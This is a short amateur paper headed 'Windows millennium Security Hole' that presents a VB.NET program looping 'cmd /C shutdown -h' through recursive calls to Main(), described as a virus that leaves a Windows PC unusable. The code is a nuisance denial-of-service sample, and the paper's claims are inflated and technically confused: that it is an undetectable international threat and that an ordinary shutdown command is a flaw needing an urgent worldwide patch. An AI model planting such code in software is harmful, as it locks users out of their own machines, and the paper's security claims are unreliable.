Windows millennium Security Hole Windows millennium Security Hole
Windows millennium Security Hole
Abstract
People download software and shareware they don’t know the code behind and the risk they take
(Viruses, Trojans, worms etc.) by downloading such softwares. This electronic document is to show
that we can exploit DOS command (shutdown –h )in Window OS (2000/XP/7/8/10) to obtain a
DOS ( Denial of service) Well a denial of all the services as your windows pc is intact but you can’t
make use of it anymore.
Keywords
Virus, Windows OS, DOS command, DOS (denial of service), system security
1. Introduction
At the first time I was writing a VB app to save electricity energy windows pc's consumption as people leave
their pc running and they can run shutdown -h to save electricity.
I don’t want to be considered as a hacker but my goal is to make people aware about shareware and software
they install and they don't know the risk they take.
The code I wrote below shows that we can exploit the command shutdown -h in a manner that people can't
access their windows pc anymore the purpose is to show that an urgent world wide security patch for
windows2000/XP/7/8/10 is compulsory.
2. The DOS command
2.1. Shutdown
First, I want you as a windows user (2000/XP/7/8/10) to launch a command DOS which is shutdown –h and notice
what happen.
Now try to restart your pc once again all your work is recovered!! Think if you leave your pc for a moment but
before leaving you launch this command then you will save electricity energy wasted for nothing before. But there
is a But there is a threat.
2.2. The millennium threat
Below the most simple virus code and there is no pattern to detect it, it is an international security threat as it
works for windows2000/XP/7/8/10 and so on
It is a tiny vb.net app :
--------------------------------------------------------------------------------------------------------------------Imports System.Runtime.InteropServices
Module Module1
Sub Main()
Dim process As Process = process.Start("cmd","/C shutdown -h")
Main()
End Sub